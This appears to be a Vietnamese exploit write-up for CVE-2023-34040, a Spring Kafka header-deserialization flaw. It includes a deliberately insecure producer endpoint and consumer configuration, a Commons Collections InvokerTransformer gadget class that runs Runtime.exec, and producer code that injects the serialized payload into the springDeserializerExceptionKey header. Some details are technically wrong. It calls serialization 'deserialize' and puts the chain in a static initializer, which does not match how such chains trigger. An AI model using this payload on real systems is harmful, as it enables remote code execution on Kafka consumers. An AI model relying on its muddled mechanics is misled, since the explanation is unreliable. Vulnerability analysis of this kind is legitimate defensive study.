CVE-2023-34040 Spring Kafka Deserialization Remote Code Execution

Spring Kafka deserialization vulnerability in VMware security bulletin.

Mô tả lỗ hổng:

Lỗ hổng này xảy ra khi ứng dụng sử dụng Spring for Apache Kafka không thực hiện việc kiểm tra và lọc đầu vào đúng cách trước khi tiến hành giải tuần tự dữ liệu từ Kafka.

Cụ thể, khi dữ liệu nhận được từ Kafka không đáng tin cậy hoặc chứa mã độc, quá trình giải tuần tự có thể kích hoạt việc thực thi mã không mong muốn trên hệ thống đích.

Nguyên nhân :

Lỗi này bắt nguồn từ việc sử dụng không an toàn thư viện Jackson (một thư viện phổ biến dùng để xử lý JSON trong Java) trong quá trình giải tuần tự dữ liệu.

Khi cấu hình không đúng, Jackson có thể giải tuần tự các lớp (class) không an toàn, tạo cơ hội cho kẻ tấn công gửi các đối tượng độc hại thông qua Kafka để thực thi mã từ xa.

Điều kiện khai thác lỗ hổng

  1. Không cấu hình ErrorHandlingDeserializer cho khóa và/hoặc giá trị của bản ghi:

    • Người dùng không cấu hình ErrorHandlingDeserializer, là cơ chế để xử lý lỗi trong quá trình giải tuần tự của các bản ghi Kafka.

  2. Cấu hình thuộc tính container không an toàn:

    • Người dùng đã thiết lập rõ ràng các thuộc tính container checkDeserExWhenKeyNull và/hoặc checkDeserExWhenValueNull thành true. Các thuộc tính này kiểm tra các lỗi giải tuần tự khi khóa hoặc giá trị của bản ghi là null.

  3. Cho phép nguồn không tin cậy xuất bản tới một Kafka topic:

    • Người dùng cho phép các nguồn không đáng tin cậy gửi thông điệp tới một chủ đề Kafka (Kafka topic) mà không có các biện pháp xác thực hoặc bảo vệ thích hợp.

Note :

  • Mặc định, các thuộc tính checkDeserExWhenKeyNullcheckDeserExWhenValueNullfalse, và container chỉ cố gắng giải tuần tự các tiêu đề nếu ErrorHandlingDeserializer được cấu hình.

  • ErrorHandlingDeserializer ngăn chặn lỗ hổng này bằng cách loại bỏ bất kỳ tiêu đề độc hại nào trước khi xử lý bản ghi.

Explain :

Source Code Review Producer không an toàn

Producer này gửi một thông điệp Kafka với các tiêu đề (header) được thêm vào từ các thông điệp được gửi tới endpoint /message/send.

@RestController
public class KafkaProducer {

    @Autowired
    private KafkaTemplate<String, String> kafkaTemplate;

    @PostMapping("/message/send")
    public String sendMessage(@RequestBody KafkaMessage message) {
        String topic = message.getTopic();
        String data = message.getData();
        HashMap<String, String> headers = message.getHeaders();

        ProducerRecord<String, String> producerRecord = new ProducerRecord<>(topic, data);

        for (String s : headers.keySet()) {
            if (s.equals("springDeserializerExceptionKey")) {
                String exceptData = headers.get(s);
                byte[] exceptHandler = KafkaProducer.hexStringtoBytes(exceptData);
                producerRecord.headers().add(s, exceptHandler);
                continue;
            }

            producerRecord.headers().add(s, headers.get(s).getBytes());
        }

        kafkaTemplate.send(producerRecord);
        String jsonString = "{\"code\":\"200\", \"status\":\"success\"}";

        return jsonString;
    }

    private static byte[] hexStringtoBytes(String hexString) {
        byte[] excepetionMessage = new byte[hexString.length() / 2];
        for (int i = 0; i < excepetionMessage.length; i++) {
            excepetionMessage[i] = (byte) Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16);
        }
        return excepetionMessage;
    }
}

Source code Consumer không an toàn

@Service
public class KafkaConsumer {

    @KafkaListener(topics = "my-topic", groupId = "my-group-id")
    public void consume(String message) {
        System.out.println("Received message: " + message);
    }

}

Config Consumer không an toàn

@Configuration
@EnableKafka
public class KafkaConsumerConfig {

    @Bean
    public ConcurrentKafkaListenerContainerFactory<String, String> kafkaListenerContainerFactory() {
        ConcurrentKafkaListenerContainerFactory<String, String> factory = new ConcurrentKafkaListenerContainerFactory<>();
        // Follow CVE report
        factory.getContainerProperties().setCheckDeserExWhenKeyNull(true);
        factory.getContainerProperties().setCheckDeserExWhenValueNull(true);
        return factory;
    }
}

setCheckDeserExWhenKeyNull(true)setCheckDeserExWhenValueNull(true):

  • Khi cả hai thuộc tính này được đặt thành true, ứng dụng sẽ cố gắng serialize các header của thông điệp Kafka ngay cả khi khóa (key) hoặc giá trị (value) là null.

  • Điều này tạo 1 path dẫn đến có thể attack deserialize dữ liệu độc hại, vì nó cho phép quá trình này xảy ra mà không có kiểm tra an toàn nào được thực hiện.

  • Ở đây , attacker có thể lợi dụng để đưa vào các đối tượng Java đã được tuần tự hóa (serialized Java objects) độc hại.

Payload :

package org.example.deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CustomExceptionClass extends Throwable {

    static {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    new Object[]{"calc.exe"}) 
        };

        Map<String, String> innerMap = new HashMap<>();
        innerMap.put("key", "value");

        Map<String, String> outerMap = TransformedMap.decorate(
                innerMap,
                null,
                new ChainedTransformer(transformers));

        outerMap.put("topic", "test");
    }
}

Quá trình

  • CustomExceptionClass, với mục đích thực thi lệnh hệ thống khi nó được deserialize.

  • Lớp này sử dụng gadget từ Apache Commons Collections để tạo chuỗi mã có thể thực thi khi được deserialize.

  • Deserialize CustomExceptionClass thành một chuỗi byte (byte stream) sử dụng cơ chế tuần tự hóa Java (Java serialization).

Gửi Payload Độc hại qua Kafka

Gửi Payload tới Kafka Topic:

  • Sử dụng một Kafka producer để gửi một thông điệp chứa payload độc hại tới một Kafka topic mà ứng dụng mục tiêu đang listen.

  • Thông điệp Kafka này bao gồm một header với khóa đặc biệt (springDeserializerExceptionKey) chứa dữ liệu đã tuần tự hóa của đối tượng độc hại CustomExceptionClass.

Ví dụ :

ProducerRecord<String, String> producerRecord = new ProducerRecord<>("my-topic", "malicious data");
byte[] serializedObject = ... // CustomExceptionClass 
producerRecord.headers().add("springDeserializerExceptionKey", serializedObject); // Thêm payload độc hại vào tiêu đề (header)

// Send KafkaTemplate
kafkaTemplate.send(producerRecord);

Ứng dụng Kafka Consumer nhận và deserialize

Ứng dụng Kafka Consumer nhận thông điệp:

  • Ứng dụng consumer đã được cấu hình không an toàn nhận thông điệp từ Kafka topic. Vì không sử dụng ErrorHandlingDeserializer và bật các thuộc tính không an toàn (checkDeserExWhenKeyNullcheckDeserExWhenValueNull), ứng dụng sẽ cố gắng deserialize các tiêu đề của thông điệp.

Deserialize payload độc hại:

  • Consumer cố gắng giải tuần tự giá trị của header springDeserializerExceptionKey. Nếu header này chứa một đối tượng độc hại đã được tuần tự hóa như CustomExceptionClass, quá trình deserialize sẽ bắt đầu.

Thực thi mã độc từ chuỗi gadget:

  • Trong quá trình giải tuần tự, khối mã tĩnh trong CustomExceptionClass được thực thi.

  • Gadget CommonsCollections được kích hoạt, tạo ra chuỗi các lệnh để gọi Runtime.getRuntime().exec("calc.exe"), dẫn đến việc mở ứng dụng Calculator trên máy của nạn nhân.

Quá trình Payload Được Gửi Đi Đâu và Nhận Như Thế Nào?

  • Payload được gửi tới đâu? Payload độc hại được gửi tới một Kafka topic cụ thể mà ứng dụng mục tiêu đang lắng nghe. Ví dụ, nó có thể được gửi tới một topic tên là "my-topic" mà consumer đang lắng nghe:

javaCopy code@KafkaListener(topics = "my-topic", groupId = "my-group-id")
public void consume(String message) {
    System.out.println("Received message: " + message);
}
  • Ai nhận payload? Ứng dụng Kafka consumer nhận payload thông qua một Kafka listener. Khi nhận được thông điệp, consumer sẽ kiểm tra các tiêu đề (header) của thông điệp để xử lý. Nếu consumer được cấu hình không đúng cách, quá trình giải tuần tự tiêu đề (header deserialization) sẽ dẫn đến việc thực thi mã độc.

Kết luận

  • Payload độc hại được gửi qua một Kafka producer đến một Kafka topic.

  • Consumer nhận thông điệp này và cố gắng giải tuần tự tiêu đề, dẫn đến việc thực thi mã từ xa (RCE) nếu cấu hình không an toàn.

Last updated